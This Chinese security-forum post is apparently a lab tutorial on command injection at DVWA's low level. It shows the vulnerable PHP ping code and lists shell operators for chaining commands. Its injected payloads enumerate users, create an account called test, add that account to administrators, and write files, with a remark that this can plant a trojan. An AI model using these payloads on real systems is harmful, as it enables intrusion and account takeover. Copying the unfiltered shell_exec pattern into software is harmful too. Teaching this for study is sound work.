查看: 13564|回复: 0

命令注入漏洞

[复制链接]
  • TA的每日心情
    开心
    2020-12-22 10:07
  • 签到天数: 12 天

    [LV.3]偶尔看看II

    发表于 2019-10-15 18:08:42 | 显示全部楼层 |阅读模式
    本帖最后由 bailancheng 于 2019-10-16 22:11 编辑

    命令注入漏洞low级别

    漏洞概述:

    漏洞产生原因:
    在Web 程序中,因为业务功能需求要通过Web 前端传递参数到后台服务器上执行(特别是一些网络设备的Web 管理界面),但由于开发人员没有对输入进行严格的过滤,导致攻击者可以构造一些额外的“带有非法目的”命令,欺骗后台服务器执行。
    漏洞危害:
    如果Web 应用使用的是root权限,则该漏洞可以导致攻击者在服务器上执行任意命令。

    low级别命令注入漏洞
    111.JPG

    low级别的源代码<?php

    if( isset( $_POST[ 'submit' ] ) ) {

        $target = $_REQUEST[ 'ip' ];    //输入IP地址给target变量

        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) {
       
            $cmd = shell_exec( 'ping  ' . $target );   //执行shell.exec ping空格连接我们输入的IP地址给cmd函数
            echo '<pre>'.$cmd.'</pre>';   
            
        } else {
       
            $cmd = shell_exec( 'ping  -c 3 ' . $target );     
            echo '<pre>'.$cmd.'</pre>';
            
        }
       
    }
    ?>
    shell_exec()函数可以在PHP中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的Shell。

    命令执行语句       
            127.0.0.1 | net user
            127.0.0.1 | net user test 123 /add
            127.0.0.1 | net localgroup administrators test /add
    222.JPG
    “|”:前面命令输出结果作为后面命令的输入内容;

    “&”:前面命令执行后接着执行后面的命令;

    “||”:前面命令执行失败的时候才执行后面的命令;

    “&&”:前面命令执行成功了才执行后面的命令。
    Linux系统还可以使用分号(;)同时执行多条命令。

    还可以使用重定向(>)在服务器中生成文件,或是使用(<)从事先准备好的文件读入命令等。
    127.0.0.1 & echo test > c:\1.txt     //可以直接写入木马


    评分

    参与人数 2人气 +1 i币 +11 收起 理由
    小圈圈 + 1 感谢分享
    昊情· + 1 + 10 感谢分享

    查看全部评分

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-4 16:35 , Processed in 0.032328 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部